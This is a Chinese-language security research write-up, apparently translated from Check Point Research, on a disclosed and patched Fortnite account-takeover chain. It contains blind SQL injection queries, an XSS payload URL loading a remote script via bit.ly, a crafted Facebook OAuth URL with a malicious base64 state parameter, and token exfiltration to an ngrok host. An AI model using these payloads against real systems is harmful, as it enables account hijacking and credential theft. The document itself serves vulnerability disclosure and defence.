一、前言
Fortnite(堡壘之夜)是Epic Games游戲開(kāi)發(fā)商制作的一款大型流行游戲,在虛擬世界中,F(xiàn)ortnite玩家的任務(wù)就是通過(guò)各種工具和武器保證自己安全,力爭(zhēng)成為最后一個(gè)存活的單位。
在過(guò)去幾周時(shí)間內(nèi),Check Point Research發(fā)現(xiàn)了Epic Game在線平臺(tái)上的多個(gè)漏洞,攻擊者可以借助這些漏洞控制任何玩家的賬戶,瀏覽玩家個(gè)人賬戶信息、購(gòu)買(mǎi)V-Bucks和Fortnite游戲內(nèi)虛擬貨幣、竊聽(tīng)并記錄玩家在游戲內(nèi)的聊天信息及隱私對(duì)話。
Fortnite由美國(guó)視頻游戲開(kāi)發(fā)商Epic Games制作,該開(kāi)發(fā)商估值約為50億至80億美元,而這款游戲?qū)⒔剂似渲邪氡诮?。這款游戲在經(jīng)濟(jì)方面炙手可熱,因此也吸引了網(wǎng)絡(luò)犯罪分子的注意力。
之前攻擊者會(huì)誘騙玩家登錄偽造的網(wǎng)站,這些網(wǎng)站號(hào)稱可以生成Fortnite游戲中的“V-Bucks”貨幣(這些商品通常只能通過(guò)官方的Fortnite商店購(gòu)買(mǎi),或者在游戲中賺?。_@些釣魚(yú)網(wǎng)站會(huì)誘導(dǎo)玩家輸入游戲登錄憑據(jù)、姓名、地址和信用卡等個(gè)人信息,也會(huì)通過(guò)社交媒體進(jìn)行傳播,宣傳玩家可以“輕松賺錢(qián)”以及“快速發(fā)家”。
然而,我們的研究團(tuán)隊(duì)采用了更為復(fù)雜也更為“陰險(xiǎn)”的方法,不需要用戶提供任何登錄憑據(jù)。我們發(fā)現(xiàn)了Epic Games某些子域名的漏洞,在這些漏洞的幫助下,用戶只需點(diǎn)擊攻擊者發(fā)送的鏈接就可以發(fā)起XSS攻擊。用戶點(diǎn)擊鏈接后,無(wú)需輸入任何登錄憑據(jù),攻擊者就可以立刻獲取玩家的用戶名及密碼。
Check Point Research向Epic Games通報(bào)了該漏洞,廠商也部署了修復(fù)補(bǔ)丁,保證數(shù)百萬(wàn)玩家能在安全環(huán)境中繼續(xù)游戲。
大家可以訪問(wèn)此處觀看攻擊演示視頻。
二、技術(shù)細(xì)節(jié)
Epic Games存在一些老的域名,比如“http://ut2004stats.epicgames.com”,我們的發(fā)現(xiàn)都源自于此。
在“http://ut2004stats.epicgames.com”子域名上,我們發(fā)現(xiàn)了一個(gè)有趣的GET請(qǐng)求,其中涉及到一個(gè)路徑:/serverstats.php?server=[some server code]
。
看到這里我們提出了一個(gè)問(wèn)題:如果“在請(qǐng)求中添加其他標(biāo)志”,會(huì)出現(xiàn)什么情況?
結(jié)果服務(wù)器返回了“Server database error”(服務(wù)器數(shù)據(jù)庫(kù)錯(cuò)誤)信息!
這一點(diǎn)非常好,我們發(fā)現(xiàn)這很有可能存在SQL注入漏洞(此時(shí)我們認(rèn)為這是一個(gè)MYSQL數(shù)據(jù)庫(kù))。
進(jìn)一步研究后,我們發(fā)現(xiàn)目標(biāo)中部署了一款WAF產(chǎn)品,使用的是黑名單機(jī)制(并沒(méi)有使用白名單機(jī)制),我們首先得解決這個(gè)問(wèn)題。在這個(gè)系統(tǒng)限制下,我們無(wú)法查詢某些系統(tǒng)表(如information_schema
表)。
然而我們可以使用系統(tǒng)變量(@@
),似乎有些人忘記處理這些因素,并且我們可以借此完成許多任務(wù)。
Google一番后,我們發(fā)現(xiàn)37514065
是一個(gè)有效的服務(wù)端代碼?;谶@一點(diǎn),我們執(zhí)行了如下查詢語(yǔ)句,觀察服務(wù)端返回的響應(yīng)數(shù)據(jù):
if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)
如果響應(yīng)數(shù)據(jù)大小為4014
字節(jié),則代表查詢結(jié)果中不存在該字符。如果響應(yīng)數(shù)據(jù)大小為12609
字節(jié),則代表查詢結(jié)果中存在該字符。
比如,if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0)
會(huì)返回4014
字節(jié):
請(qǐng)求數(shù)據(jù)如下:
圖1. 初始SQL注入查詢語(yǔ)句
響應(yīng)數(shù)據(jù)如下:
圖2. 上圖SQL查詢返回4014字節(jié)數(shù)據(jù)
更進(jìn)一步,if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)
查詢語(yǔ)句返回12609
字節(jié),因此我們得知目標(biāo)使用的是MySQL 5。
圖3. 第二次SQL注入查詢
圖4. SQL查詢語(yǔ)句返回12609字節(jié)響應(yīng)數(shù)據(jù)
通過(guò)這種方法,我們可以獲取一些數(shù)據(jù),進(jìn)行下一步研究。
繼續(xù)研究后,我們發(fā)現(xiàn)“http://ut2004stats.epicgames.com”子域名中包含名為“maps”的一個(gè)網(wǎng)頁(yè)。我們猜測(cè)該網(wǎng)頁(yè)可以通過(guò)地圖名稱/id來(lái)展示比賽相關(guān)統(tǒng)計(jì)數(shù)據(jù)。
當(dāng)我們?cè)诓檎襒SS漏洞時(shí)(不管是反射型還是存儲(chǔ)型漏洞),我們都應(yīng)該在目標(biāo)頁(yè)面中找到服務(wù)器對(duì)輸入數(shù)據(jù)的輸出,我們的確在該頁(yè)面的搜索組件中找到了所需的輸出點(diǎn)。事實(shí)上,該頁(yè)面的另一個(gè)功能是搜索欄,也是我們用于XSS漏洞的注入點(diǎn)。
比如:
這是我們找到的第二個(gè)突破口,表明ut2004stats.epicgames.com
上存在XSS漏洞。該域名為epicgames.com
的一個(gè)子域名,這一點(diǎn)對(duì)我們最后一個(gè)攻擊階段來(lái)說(shuō)非常重要。
在接下來(lái)幾天內(nèi),我們繼續(xù)搜索是否存在其他攻擊點(diǎn)。
在這項(xiàng)研究工作一開(kāi)始,我們團(tuán)隊(duì)中的某個(gè)小伙伴對(duì)SSO機(jī)制非常“來(lái)電”。在直覺(jué)的指引下,我們仔細(xì)研究了SSO,的確發(fā)現(xiàn)Epic Games已經(jīng)實(shí)現(xiàn)了一個(gè)通用的SSO,用來(lái)支持多個(gè)登錄提供程序(Provider)。這時(shí)候我們可以進(jìn)一步分析實(shí)現(xiàn)細(xì)節(jié)。
事實(shí)證明,當(dāng)玩家點(diǎn)擊“Sign In”按鈕登錄賬戶時(shí),Epic Games會(huì)生成包含redirectedUrl
參數(shù)的一個(gè)URL(如下所示)。之后accounts.epicgames.com
會(huì)使用該參數(shù),將玩家重定向到對(duì)應(yīng)的賬戶頁(yè)面。
https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true
圖5. 玩家登錄賬戶后的重定向鏈接
然而,我們很快發(fā)現(xiàn)重定向URL可以被篡改,將用戶重定向到*.epicgames.com
域名內(nèi)的任意web頁(yè)面。
由于我們可以控制redirectedUrl
參數(shù),因此可以將受害者重定向至包含XSS攻擊載荷的ut2004stats.epicgames.com
網(wǎng)站:
http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>
網(wǎng)頁(yè)上的JavaScript載荷隨后會(huì)向任何SSO provider發(fā)起請(qǐng)求,請(qǐng)求中包含state
參數(shù),accounts.epicgames.com
隨后會(huì)使用該參數(shù)來(lái)完成認(rèn)證過(guò)程。JavaScript載荷中包含一個(gè)精心構(gòu)造的state
參數(shù)。state
參數(shù)的值包含經(jīng)過(guò)Base64編碼的JSON,而該JSON數(shù)據(jù)中包含3個(gè)鍵:redirectUrl
、client_id
以及prodectName
。當(dāng)SSO登錄過(guò)程完成后,就會(huì)使用redirectedUrl
參數(shù)進(jìn)行重定向。
如果我們嘗試登錄Fortnite,就會(huì)發(fā)現(xiàn)Epic Games使用了多個(gè)SSO Provider:PlayStationNetwork、Xbox Live、Nintendo、Facebook以及Google+。隨后我們發(fā)現(xiàn),我們可以在這些SSO Provider上使用前文描述的技巧。這里我們以Facebook為例來(lái)演示。
如下所示,我們嘗試構(gòu)造state
參數(shù),使XSS載荷能夠?qū)⒂脩糁囟ㄏ蛑?code>ut2004stats.epicgames.com:
https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends
圖6. 使用XSS載荷重定向至ut2004stats.epicgames.com
此時(shí)SSO Provider為Facebok,會(huì)返回跳轉(zhuǎn)至accounts.epicgames.com
的重定向響應(yīng)包,其中包含我們可控的state
參數(shù):
圖7. Facebook返回跳轉(zhuǎn)至accounts.epicgames.com
的響應(yīng)包,其中包含我們可控的state參數(shù)
隨后,Epic Games會(huì)從SSO Provider讀取code
(即SSO令牌)和攻擊者構(gòu)造的state
參數(shù),然后向Epic Games服務(wù)器發(fā)起請(qǐng)求,以便完成身份認(rèn)證過(guò)程:
圖8. Epic Games向服務(wù)器發(fā)起請(qǐng)求,其中包含來(lái)自SSO的、由攻擊者構(gòu)造的state
參數(shù)
Epic Games服務(wù)器沒(méi)有驗(yàn)證輸入信息,直接生成響應(yīng)數(shù)據(jù),將用戶重定向至包含XSS載荷和SSO令牌信息的ut2004stats.epicgames.com
:
圖9. Epic Games服務(wù)器響應(yīng)數(shù)據(jù)中沒(méi)有驗(yàn)證輸入數(shù)據(jù),將用戶重定向至包含XSS載荷和SSO令牌信息的ut2004stats.epicgames.com
最終,用戶會(huì)被重定向至包含漏洞的網(wǎng)頁(yè),然后執(zhí)行XSS載荷,攻擊者就能竊取用戶的身份認(rèn)證代碼:
圖10. 存在漏洞的網(wǎng)頁(yè)上會(huì)執(zhí)行XSS載荷
(對(duì)Epic Games而言)這里最大的問(wèn)題在于,Epic Games服務(wù)器并沒(méi)有驗(yàn)證state
參數(shù)的輸入數(shù)據(jù)。
請(qǐng)注意,用戶會(huì)被重定向到包含XSS漏洞的ut2004stats.epicgames.com
頁(yè)面,因此即便Epic Games采用了CORS(跨域資源共享)機(jī)制,ut2004stats.epicgames.com
依然可以向account.epicgames.com
發(fā)起請(qǐng)求。
當(dāng)執(zhí)行XSS載荷時(shí),WAF會(huì)采取措施,通知我們?cè)撜?qǐng)求已被禁止。顯然,這里唯一的問(wèn)題在于腳本源URL的長(zhǎng)度,因此我們可以縮短URL長(zhǎng)度來(lái)繞過(guò)限制。
現(xiàn)在我們已經(jīng)找到XSS點(diǎn),可以加載JavaScript,并且在ut2004stats.epicgames.com
上下文中執(zhí)行,因此是時(shí)候?qū)懸恍㎎avaScript代碼:
圖11. 用來(lái)投遞XSS載荷的JavaScript代碼
上述代碼會(huì)打開(kāi)一個(gè)窗口,向SSO Provider服務(wù)器(這里為Facebook)發(fā)起oAuth請(qǐng)求,請(qǐng)求中包含用戶的所有cookie信息以及我們構(gòu)造的state
參數(shù)。
Facebook隨后會(huì)返回響應(yīng)包,將用戶重定向至account.epicgames.com
,其中包含SSO令牌(code
參數(shù))以及攻擊者先前構(gòu)造的state
參數(shù)。
由于用戶已經(jīng)登錄Facebook賬戶,因此account.epicgames.com
服務(wù)器會(huì)重定向至在state
參數(shù)中找到的URL地址。在這個(gè)例子中,重定向地址為ut2004stats.epicgames.com
,其中包含XSS載荷以及Facebook用戶的oAuth令牌。
最終,請(qǐng)求中的令牌信息會(huì)發(fā)送至攻擊者的服務(wù)器(這里我們使用的是ngrok服務(wù)器:0aa62240.ngrok.io)。
圖12. Ngrok服務(wù)器收到包含SSO令牌的請(qǐng)求
圖13. Ngrok服務(wù)器收到包含SSO令牌的請(qǐng)求
現(xiàn)在攻擊者已經(jīng)收到用戶的Facebook令牌信息,可以登錄受害者的賬戶。
圖14. 攻擊者成功獲取用戶的Facebook令牌